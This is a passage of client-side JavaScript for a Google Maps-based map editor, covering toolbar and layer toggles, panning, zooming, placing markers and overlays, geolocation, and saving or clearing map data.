MAPEDITOR.UTILITIES.buttonActive(\"toolbox\"); //set the is active glow for button\n break;\n\n case \"toolbar\":\n if (MAPEDITOR.GLOBAL.DEFINES.toolbarDisplayed == true) {\n $(\"#mapedit_container_pane_1\").hide();\n //$(\"#mapedit_container_pane_1\").animate({ 'top': '-46px' });\n document.getElementById(\"mapedit_container_toolbarGrabber\").style.marginTop = \"0\";\n MAPEDITOR.GLOBAL.DEFINES.toolbarDisplayed = false;\n } else {\n $(\"#mapedit_container_pane_1\").show();\n //$(\"#mapedit_container_pane_1\").animate({ 'top': '46px' });\n document.getElementById(\"mapedit_container_toolbarGrabber\").style.marginTop = \"48px\";\n MAPEDITOR.GLOBAL.DEFINES.toolbarDisplayed = true;\n }\n MAPEDITOR.UTILITIES.buttonActive(\"toolbar\"); //set the is active glow for button\n break;\n\n case \"kml\":\n if (MAPEDITOR.GLOBAL.DEFINES.kmlDisplayed == true) {\n MAPEDITOR.GLOBAL.DEFINES.kmlLayer.setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.kmlDisplayed = false;\n } else {\n MAPEDITOR.GLOBAL.DEFINES.kmlLayer.setMap(map);\n MAPEDITOR.GLOBAL.DEFINES.kmlDisplayed = true;\n }\n MAPEDITOR.UTILITIES.buttonActive(\"kml\"); //set the is active glow for button\n break;\n\n case \"toolboxMin\":\n $(\"#mapedit_container_toolboxTabs\").hide();\n document.getElementById(\"mapedit_container_toolbox\").style.height = \"15px\";\n break;\n\n case \"toolboxMax\":\n $(\"#mapedit_container_toolboxTabs\").show();\n document.getElementById(\"mapedit_container_toolbox\").style.height = \"auto\";\n break;\n\n case \"mapDrawingManager\":\n if (MAPEDITOR.GLOBAL.DEFINES.mapDrawingManagerDisplayed == true) {\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(null);\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.mapDrawingManagerDisplayed = false;\n } else {\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(null);\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setMap(map);\n MAPEDITOR.GLOBAL.DEFINES.mapDrawingManagerDisplayed = true;\n }\n break;\n\n case \"overlays\":\n if (MAPEDITOR.GLOBAL.DEFINES.overlaysOnMap.length) {\n if (MAPEDITOR.GLOBAL.DEFINES.overlaysCurrentlyDisplayed == true) {\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L22);\n for (var i = 1; i < MAPEDITOR.GLOBAL.DEFINES.overlaysOnMap.length; i++) { //go through and display overlays as long as there is an overlay to display\n MAPEDITOR.TRACER.addTracer(\"[INFO]: overlay count \" + MAPEDITOR.GLOBAL.DEFINES.overlayCount);\n MAPEDITOR.GLOBAL.DEFINES.RIBMode = true;\n if (document.getElementById(\"overlayToggle\" + i)) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: found: overlayToggle\" + i);\n for (var j = 0; j < MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPolygonType.length; j++) {\n try {\n MAPEDITOR.ACTIONS.overlayHideMe(i + j);\n } catch (e) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: overlayOnMap[\" + (i + j) + \"] not found\");\n }\n }\n } else {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: did not find: overlayToggle\" + i);\n }\n\n MAPEDITOR.GLOBAL.DEFINES.RIBMode = false;\n MAPEDITOR.GLOBAL.DEFINES.overlaysOnMap[i].setMap(null); //hide the overlay from the map\n MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[i].setMap(null); //hide ghost from map\n MAPEDITOR.GLOBAL.DEFINES.overlaysCurrentlyDisplayed = false; //mark that overlays are not on the map\n MAPEDITOR.GLOBAL.DEFINES.buttonActive_overlayToggle = true;\n }\n } else {\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L23);\n for (var i = 1; i < MAPEDITOR.GLOBAL.DEFINES.overlaysOnMap.length; i++) { //go through and display overlays as long as there is an overlay to display\n MAPEDITOR.TRACER.addTracer(\"[INFO]: oom \" + MAPEDITOR.GLOBAL.DEFINES.overlaysOnMap.length);\n MAPEDITOR.GLOBAL.DEFINES.RIBMode = true;\n if (document.getElementById(\"overlayToggle\" + i)) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: found: overlayToggle\" + i);\n MAPEDITOR.ACTIONS.overlayShowMe(i);\n } else {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: did not find: overlayToggle\" + i);\n }\n MAPEDITOR.GLOBAL.DEFINES.RIBMode = false;\n MAPEDITOR.GLOBAL.DEFINES.overlaysOnMap[i].setMap(map); //set the overlay to the map\n MAPEDITOR.GLOBAL.DEFINES.ghostOverlayRectangle[i].setMap(map); //set to map\n MAPEDITOR.GLOBAL.DEFINES.overlaysCurrentlyDisplayed = true; //mark that overlays are on the map\n MAPEDITOR.GLOBAL.DEFINES.buttonActive_overlayToggle = false;\n }\n }\n MAPEDITOR.UTILITIES.buttonActive(\"overlayToggle\");\n } else {\n //nothing to toggle\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L45);\n }\n break;\n\n case \"pois\":\n if (MAPEDITOR.GLOBAL.DEFINES.poiCount) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: poi count: \" + MAPEDITOR.GLOBAL.DEFINES.poiCount);\n MAPEDITOR.UTILITIES.buttonActive(\"poiToggle\");\n if (MAPEDITOR.GLOBAL.DEFINES.poiToggleState == \"displayed\") {\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiCount; i++) {\n MAPEDITOR.ACTIONS.poiHideMe(i);\n MAPEDITOR.GLOBAL.DEFINES.poiToggleState = \"hidden\";\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L42);\n }\n } else {\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiCount; i++) {\n MAPEDITOR.ACTIONS.poiShowMe(i);\n MAPEDITOR.GLOBAL.DEFINES.poiToggleState = \"displayed\";\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L43);\n }\n }\n\n\n } else {\n //nothing to toggle\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L45);\n }\n break;\n\n default:\n //toggle that item if not found above\n break;\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: toggleVis completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n changeMapLayer: function (layer) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: changeMapLayer started...\");\n switch (layer) {\n case \"roadmap\":\n map.setMapTypeId(google.maps.MapTypeId.ROADMAP);\n MAPEDITOR.GLOBAL.DEFINES.mapLayerActive = \"Roadmap\";\n break;\n case \"terrain\":\n map.setMapTypeId(google.maps.MapTypeId.TERRAIN);\n MAPEDITOR.GLOBAL.DEFINES.mapLayerActive = \"Terrain\";\n break;\n case \"satellite\":\n map.setMapTypeId(google.maps.MapTypeId.SATELLITE);\n MAPEDITOR.GLOBAL.DEFINES.mapLayerActive = \"Satellite\";\n break;\n case \"hybrid\":\n map.setMapTypeId(google.maps.MapTypeId.HYBRID);\n MAPEDITOR.GLOBAL.DEFINES.mapLayerActive = \"Hybrid\";\n break;\n case \"custom\":\n MAPEDITOR.ACTIONS.toggleVis(\"kml\");\n break;\n case \"reset\":\n map.setMapTypeId(google.maps.MapTypeId.ROADMAP);\n //2do make this set to default\n MAPEDITOR.GLOBAL.DEFINES.mapLayerActive = \"Roadmap\";\n if (MAPEDITOR.GLOBAL.DEFINES.kmlDisplayed == true) {\n MAPEDITOR.ACTIONS.toggleVis(\"kml\");\n }\n break;\n }\n MAPEDITOR.UTILITIES.buttonActive(\"layer\"); //set the is active glow for button\n MAPEDITOR.TRACER.addTracer(\"[INFO]: changeMapLayer completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n panMap: function (direction) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: panmap started...\");\n switch (direction) {\n case \"up\":\n map.panBy(0, -100);\n MAPEDITOR.UTILITIES.testBounds();\n break;\n case \"down\":\n map.panBy(0, 100);\n MAPEDITOR.UTILITIES.testBounds();\n break;\n case \"left\":\n map.panBy(-100, 0);\n MAPEDITOR.UTILITIES.testBounds();\n break;\n case \"right\":\n map.panBy(100, 0);\n MAPEDITOR.UTILITIES.testBounds();\n break;\n case \"reset\":\n map.panTo(MAPEDITOR.GLOBAL.DEFINES.mapCenter);\n break;\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: panmap completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n zoomMap: function (direction) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: zoommap started...\");\n switch (direction) {\n case \"in\":\n map.setZoom(map.getZoom() + 1);\n break;\n case \"out\":\n map.setZoom(map.getZoom() - 1);\n break;\n case \"reset\":\n map.setZoom(MAPEDITOR.GLOBAL.DEFINES.defaultZoomLevel);\n break;\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: zoommap completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n action: function (id) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: action started...\");\n MAPEDITOR.TRACER.addTracer(\"[INFO]: action: \" + id);\n switch (id) {\n case \"manageItem\":\n MAPEDITOR.GLOBAL.DEFINES.actionActive = \"Item\"; //note case (uppercase is tied to the actual div)\n MAPEDITOR.UTILITIES.buttonActive(\"action\");\n if (MAPEDITOR.GLOBAL.DEFINES.toolboxDisplayed != true) {\n MAPEDITOR.ACTIONS.toggleVis(\"toolbox\");\n }\n MAPEDITOR.ACTIONS.openToolboxTab(2);\n //force a suppression dm\n if (MAPEDITOR.GLOBAL.DEFINES.mapDrawingManagerDisplayed == true) {\n MAPEDITOR.GLOBAL.DEFINES.mapDrawingManagerDisplayed = true;\n MAPEDITOR.ACTIONS.toggleVis(\"mapDrawingManager\");\n }\n\n MAPEDITOR.GLOBAL.DEFINES.placerType = \"item\";\n MAPEDITOR.ACTIONS.place(\"item\");\n\n break;\n\n case \"manageOverlay\":\n \n MAPEDITOR.GLOBAL.DEFINES.actionActive = \"Overlay\"; //notice case (uppercase is tied to the actual div)\n MAPEDITOR.UTILITIES.buttonActive(\"action\");\n\n if (MAPEDITOR.GLOBAL.DEFINES.toolboxDisplayed != true) {\n MAPEDITOR.ACTIONS.toggleVis(\"toolbox\");\n }\n MAPEDITOR.ACTIONS.openToolboxTab(3);\n\n //force a suppression of dm\n if (MAPEDITOR.GLOBAL.DEFINES.mapDrawingManagerDisplayed == true) {\n MAPEDITOR.GLOBAL.DEFINES.mapDrawingManagerDisplayed = true;\n MAPEDITOR.ACTIONS.toggleVis(\"mapDrawingManager\");\n }\n\n //place\n MAPEDITOR.GLOBAL.DEFINES.placerType = \"overlay\";\n MAPEDITOR.ACTIONS.place(\"overlay\");\n\n break;\n\n case \"managePOI\":\n //MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.GLOBAL.DEFINES.actionActive = \"POI\"; //notice case (uppercase is tied to the actual div)\n MAPEDITOR.UTILITIES.buttonActive(\"action\");\n if (MAPEDITOR.GLOBAL.DEFINES.toolboxDisplayed != true) {\n MAPEDITOR.ACTIONS.toggleVis(\"toolbox\");\n }\n MAPEDITOR.ACTIONS.openToolboxTab(4);\n MAPEDITOR.ACTIONS.toggleVis(\"mapDrawingManager\");\n\n //place\n MAPEDITOR.GLOBAL.DEFINES.placerType = \"poi\";\n MAPEDITOR.ACTIONS.place(\"poi\");\n break;\n\n case \"other\":\n MAPEDITOR.TRACER.addTracer(\"[INFO]: action Other started...\");\n MAPEDITOR.GLOBAL.DEFINES.actionActive = \"Other\";\n MAPEDITOR.UTILITIES.buttonActive(\"action\");\n //force a suppression dm and effects\n \n if (MAPEDITOR.GLOBAL.DEFINES.mapDrawingManagerDisplayed == true) {\n MAPEDITOR.GLOBAL.DEFINES.mapDrawingManagerDisplayed = true;\n MAPEDITOR.ACTIONS.toggleVis(\"mapDrawingManager\");\n }\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setMap(null);\n\n MAPEDITOR.GLOBAL.DEFINES.placerType = \"none\";\n MAPEDITOR.TRACER.addTracer(\"[INFO]: action Other ended...\");\n\n break;\n\n case \"search\":\n MAPEDITOR.TRACER.addTracer(\"[INFO]: action search started...\");\n MAPEDITOR.GLOBAL.DEFINES.actionActive = \"Search\";\n MAPEDITOR.UTILITIES.buttonActive(\"action\");\n MAPEDITOR.GLOBAL.DEFINES.placerType = \"none\";\n\n //force a suppression dm and effects\n if (MAPEDITOR.GLOBAL.DEFINES.mapDrawingManagerDisplayed == true) {\n MAPEDITOR.GLOBAL.DEFINES.mapDrawingManagerDisplayed = true;\n MAPEDITOR.ACTIONS.toggleVis(\"mapDrawingManager\");\n }\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setMap(null);\n \n //open search tab\n MAPEDITOR.TRACER.addTracer(\"[INFO]: MAPEDITOR.GLOBAL.DEFINES.toolboxDisplayed: \" + MAPEDITOR.GLOBAL.DEFINES.toolboxDisplayed);\n if (MAPEDITOR.GLOBAL.DEFINES.toolboxDisplayed == true) {\n MAPEDITOR.ACTIONS.openToolboxTab(1);\n }\n\n break;\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: action completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n place: function (id) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: place started...\");\n switch (id) {\n case \"item\":\n MAPEDITOR.UTILITIES.buttonActive(\"itemPlace\");\n MAPEDITOR.GLOBAL.DEFINES.placerType = \"item\";\n if (MAPEDITOR.GLOBAL.DEFINES.itemMarker != null) {\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L30);\n } else {\n if (MAPEDITOR.GLOBAL.DEFINES.searchCount > 0 && MAPEDITOR.GLOBAL.DEFINES.itemMarker == null) {\n MAPEDITOR.ACTIONS.useSearchAsItemLocation();\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L18);\n } else {\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setOptions({ drawingControl: false, drawingControlOptions: { position: google.maps.ControlPosition.RIGHT_TOP, drawingModes: [google.maps.drawing.OverlayType.MARKER], markerOptions: MAPEDITOR.GLOBAL.DEFINES.markerOptionsItem } });\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(google.maps.drawing.OverlayType.MARKER);\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setMap(map);\n }\n }\n break;\n case \"overlay\":\n MAPEDITOR.GLOBAL.DEFINES.placerType = \"overlay\";\n if (MAPEDITOR.GLOBAL.DEFINES.pageMode == \"edit\") {\n MAPEDITOR.GLOBAL.DEFINES.pageMode = \"view\";\n } else {\n MAPEDITOR.GLOBAL.DEFINES.pageMode = \"edit\";\n }\n break;\n case \"poi\":\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setOptions({ drawingControl: true, drawingControlOptions: { position: google.maps.ControlPosition.RIGHT_TOP, drawingModes: [google.maps.drawing.OverlayType.MARKER, google.maps.drawing.OverlayType.CIRCLE, google.maps.drawing.OverlayType.RECTANGLE, google.maps.drawing.OverlayType.POLYGON, google.maps.drawing.OverlayType.POLYLINE], markerOptions: MAPEDITOR.GLOBAL.DEFINES.markerOptionsPOI, circleOptions: MAPEDITOR.GLOBAL.DEFINES.circleOptionsPOI, rectangleOptions: MAPEDITOR.GLOBAL.DEFINES.rectangleOptionsPOI, polygonOptions: MAPEDITOR.GLOBAL.DEFINES.polygonOptionsPOI, polylineOptions: MAPEDITOR.GLOBAL.DEFINES.polylineOptionsPOI } });\n MAPEDITOR.GLOBAL.DEFINES.placerType = \"poi\";\n break;\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: place completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n placePOI: function (type) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: placepoi started...\");\n MAPEDITOR.GLOBAL.DEFINES.placerType = \"poi\";\n switch (type) {\n case \"marker\":\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setOptions({ drawingModes: [google.maps.drawing.OverlayType.MARKER], markerOptions: MAPEDITOR.GLOBAL.DEFINES.markerOptionsPOI });\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(google.maps.drawing.OverlayType.MARKER);\n MAPEDITOR.UTILITIES.buttonActive(\"poiMarker\");\n break;\n case \"circle\":\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setOptions({ drawingModes: [google.maps.drawing.OverlayType.CIRCLE], circleOptions: MAPEDITOR.GLOBAL.DEFINES.circleOptionsPOI });\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(google.maps.drawing.OverlayType.CIRCLE);\n MAPEDITOR.UTILITIES.buttonActive(\"poiCircle\");\n break;\n case \"rectangle\":\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setOptions({ drawingModes: [google.maps.drawing.OverlayType.RECTANGLE], rectangleOptions: MAPEDITOR.GLOBAL.DEFINES.rectangleOptionsPOI });\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(google.maps.drawing.OverlayType.RECTANGLE);\n MAPEDITOR.UTILITIES.buttonActive(\"poiRectangle\");\n break;\n case \"polygon\":\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setOptions({ drawingModes: [google.maps.drawing.OverlayType.POLYGON], polygonOptions: MAPEDITOR.GLOBAL.DEFINES.polygonOptionsPOI });\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(google.maps.drawing.OverlayType.POLYGON);\n MAPEDITOR.UTILITIES.buttonActive(\"poiPolygon\");\n break;\n case \"line\":\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setOptions({ drawingModes: [google.maps.drawing.OverlayType.POLYLINE], polylineOptions: MAPEDITOR.GLOBAL.DEFINES.polylineOptionsPOI });\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(google.maps.drawing.OverlayType.POLYLINE);\n MAPEDITOR.UTILITIES.buttonActive(\"poiLine\");\n break;\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: placepoi completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n geolocate: function (id) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: geolocate started...\");\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L50);\n switch (id) {\n case \"item\":\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(google.maps.drawing.OverlayType.MARKER);\n MAPEDITOR.GLOBAL.DEFINES.placerType = \"item\";\n // Try W3C Geolocation\n if (navigator.geolocation) {\n navigator.geolocation.getCurrentPosition(function (position) {\n var userLocation = new google.maps.LatLng(position.coords.latitude, position.coords.longitude);\n map.setCenter(userLocation);\n MAPEDITOR.UTILITIES.testBounds();\n if (MAPEDITOR.GLOBAL.DEFINES.mapInBounds == \"yes\") {\n MAPEDITOR.GLOBAL.DEFINES.markerCenter = userLocation;\n MAPEDITOR.GLOBAL.DEFINES.itemMarker = new google.maps.Marker({\n position: MAPEDITOR.GLOBAL.DEFINES.markerCenter,\n map: map\n });\n MAPEDITOR.GLOBAL.DEFINES.itemMarker.setMap(map);\n MAPEDITOR.UTILITIES.codeLatLng(MAPEDITOR.GLOBAL.DEFINES.itemMarker.getPosition());\n MAPEDITOR.GLOBAL.DEFINES.savingMarkerCenter = MAPEDITOR.GLOBAL.DEFINES.itemMarker.getPosition(); //store coords to save\n MAPEDITOR.TRACER.addTracer(\"[INFO]: rg userlocation: \" + userLocation);\n var userLocationS = userLocation.toString();\n userLocationS = userLocationS.replace(\"\\)\", \"\");\n userLocationS = userLocationS.replace(\"\\)\", \"\");\n MAPEDITOR.TRACER.addTracer(\"[INFO]: rg test2: \" + userLocationS);\n document.getElementById('content_toolbox_posItem').value = userLocationS;\n MAPEDITOR.UTILITIES.codeLatLng(userLocation);\n } else {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: user location out of bounds\");\n }\n\n });\n\n } else {\n alert(MAPEDITOR.LOCALIZATION.DEFINES.L4);\n MAPEDITOR.TRACER.addTracer(MAPEDITOR.LOCALIZATION.DEFINES.L4);\n }\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(null);\n break;\n case \"overlay\":\n MAPEDITOR.GLOBAL.DEFINES.placerType = \"overlay\";\n // Try W3C Geolocation\n if (navigator.geolocation) {\n navigator.geolocation.getCurrentPosition(function (position) {\n var userLocation = new google.maps.LatLng(position.coords.latitude, position.coords.longitude);\n map.setCenter(userLocation);\n MAPEDITOR.UTILITIES.testBounds();\n });\n\n } else {\n alert(MAPEDITOR.LOCALIZATION.DEFINES.L4);\n MAPEDITOR.TRACER.addTracer(MAPEDITOR.LOCALIZATION.DEFINES.L4);\n }\n break;\n case \"poi\":\n MAPEDITOR.GLOBAL.DEFINES.placerType = \"poi\";\n // Try W3C Geolocation\n if (navigator.geolocation) {\n navigator.geolocation.getCurrentPosition(function (position) {\n var userLocation = new google.maps.LatLng(position.coords.latitude, position.coords.longitude);\n map.setCenter(userLocation);\n MAPEDITOR.UTILITIES.testBounds();\n });\n\n } else {\n alert(MAPEDITOR.LOCALIZATION.DEFINES.L4);\n MAPEDITOR.TRACER.addTracer(MAPEDITOR.LOCALIZATION.DEFINES.L4);\n }\n break;\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: geolocate completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n save: function (id) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: save started...\");\n switch (id) {\n case \"item\":\n //determine if there is something to save\n if (MAPEDITOR.GLOBAL.DEFINES.savingMarkerCenter != null) {\n //is this the first time saving a changed item?\n if (MAPEDITOR.GLOBAL.DEFINES.firstSaveItem == true) {\n //determine if there is any new data\n if (MAPEDITOR.GLOBAL.DEFINES.userMayLoseData) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: Saving Changes...\");\n MAPEDITOR.TRACER.addTracer(\"[INFO]: saving location: \" + MAPEDITOR.GLOBAL.DEFINES.savingMarkerCenter);\n //save to temp xml file\n MAPEDITOR.GLOBAL.DEFINES.toServerSuccessMessage = MAPEDITOR.LOCALIZATION.DEFINES.L_Saved;\n MAPEDITOR.UTILITIES.createSavedItem(\"save\", MAPEDITOR.GLOBAL.DEFINES.savingMarkerCenter);\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = false;\n } else {\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L_NotSaved);\n }\n } else {\n //not used yet\n }\n } else {\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L_NotSaved);\n }\n break;\n case \"overlay\":\n //is this the first time saving a changed item?\n MAPEDITOR.TRACER.addTracer(\"[INFO]: first save overlay? \" + MAPEDITOR.GLOBAL.DEFINES.firstSaveOverlay);\n if (MAPEDITOR.GLOBAL.DEFINES.firstSaveOverlay == true) {\n //determine if there is something to save\n MAPEDITOR.TRACER.addTracer(\"[INFO]: overlay length? \" + MAPEDITOR.GLOBAL.DEFINES.savingOverlayIndex.length);\n if (MAPEDITOR.GLOBAL.DEFINES.savingOverlayIndex.length) {\n //determine if there is any new data\n if (MAPEDITOR.GLOBAL.DEFINES.userMayLoseData) {\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.savingOverlayIndex.length; i++) {\n //save to temp xml file\n try {\n //explicitly change TEMP_ IDs\n MAPEDITOR.GLOBAL.DEFINES.incomingPolygonFeatureType[i] = \"main\";\n MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPolygonType[i] = \"rectangle\";\n MAPEDITOR.GLOBAL.DEFINES.toServerSuccessMessage = MAPEDITOR.LOCALIZATION.DEFINES.L_Saved;\n MAPEDITOR.TRACER.addTracer(\"[INFO]: saving overlay: (\" + i + \") \" + MAPEDITOR.GLOBAL.DEFINES.savingOverlayPageId[i] + \"\\nlabel: \" + MAPEDITOR.GLOBAL.DEFINES.savingOverlayLabel[i] + \"\\nsource: \" + MAPEDITOR.GLOBAL.DEFINES.savingOverlaySourceURL[i] + \"\\nbounds: \" + MAPEDITOR.GLOBAL.DEFINES.savingOverlayBounds[i] + \"\\nrotation: \" + MAPEDITOR.GLOBAL.DEFINES.savingOverlayRotation[i]);\n MAPEDITOR.UTILITIES.createSavedOverlay(\"save\", MAPEDITOR.GLOBAL.DEFINES.savingOverlayPageId[i], MAPEDITOR.GLOBAL.DEFINES.savingOverlayLabel[i], MAPEDITOR.GLOBAL.DEFINES.savingOverlaySourceURL[i], MAPEDITOR.GLOBAL.DEFINES.savingOverlayBounds[i], MAPEDITOR.GLOBAL.DEFINES.savingOverlayRotation[i]); //send overlay to the server\n } catch (e) {\n //no overlay at this point to save\n }\n }\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = false;\n //not used yet\n } else {\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L_NotSaved);\n }\n } else {\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L_NotSaved);\n }\n } else {\n //not used yet\n }\n break;\n case \"poi\":\n //is this the first time saving a changed item? (apply changes)\n if (MAPEDITOR.GLOBAL.DEFINES.firstSavePOI == true) {\n //determine if there is something to save\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj.length > 0) {\n //determine if there is any new data\n if (MAPEDITOR.GLOBAL.DEFINES.userMayLoseData) {\n //save to temp xml file\n MAPEDITOR.TRACER.addTracer(\"[INFO]: saving \" + MAPEDITOR.GLOBAL.DEFINES.poiObj.length + \" POIs...\");\n MAPEDITOR.GLOBAL.DEFINES.toServerSuccessMessage = MAPEDITOR.LOCALIZATION.DEFINES.L_Saved;\n MAPEDITOR.UTILITIES.createSavedPOI(\"save\");\n //explicitly turn off the drawing manager \n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(null);\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = false;\n } else {\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L_NotSaved);\n }\n } else {\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L_NotSaved);\n }\n } else {\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L_NotSaved);\n }\n break;\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: save completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n clear: function (id) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: clear started...\");\n switch (id) {\n case \"item\":\n if (MAPEDITOR.GLOBAL.DEFINES.savingMarkerCenter != null) {\n //clear the current marker\n MAPEDITOR.GLOBAL.DEFINES.itemMarker.setMap(null); //delete marker form map\n MAPEDITOR.GLOBAL.DEFINES.itemMarker = null; //delete reference to marker\n MAPEDITOR.GLOBAL.DEFINES.savingMarkerCenter = null; //reset stored coords to save\n document.getElementById('content_toolbox_posItem').value = \"\"; //reset lat/long in tab\n document.getElementById('content_toolbox_rgItem').value = \"\"; //reset address in tab\n //redraw incoming marker\n MAPEDITOR.GLOBAL.displayIncomingPoints();\n //reset\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = false;\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L9); //say all is reset\n } else {\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L_NotCleared);\n }\n break;\n case \"overlay\":\n if (MAPEDITOR.GLOBAL.DEFINES.savingOverlayIndex.length > 0) {\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L52);\n //reset edit mode\n MAPEDITOR.ACTIONS.place(\"overlay\");\n //reset hidden overlays\n MAPEDITOR.UTILITIES.resetHiddenOverlays();\n //delete all incoming overlays\n MAPEDITOR.UTILITIES.clearIncomingOverlays();\n //clear the save cache\n MAPEDITOR.UTILITIES.clearCacheSaveOverlay();\n //clear ooms\n MAPEDITOR.UTILITIES.clearOverlaysOnMap();\n //show all the incoming overlays\n MAPEDITOR.GLOBAL.displayIncomingPolygons();\n //redraw list items of overlays\n MAPEDITOR.GLOBAL.initOverlayList();\n //reset\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = false;\n //say we are finished\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L10);\n } else {\n MAPEDITOR.UTILITIES.displayMessage(MAPEDITOR.LOCALIZATION.DEFINES.L46);\n }\n break;\n case \"poi\":\n 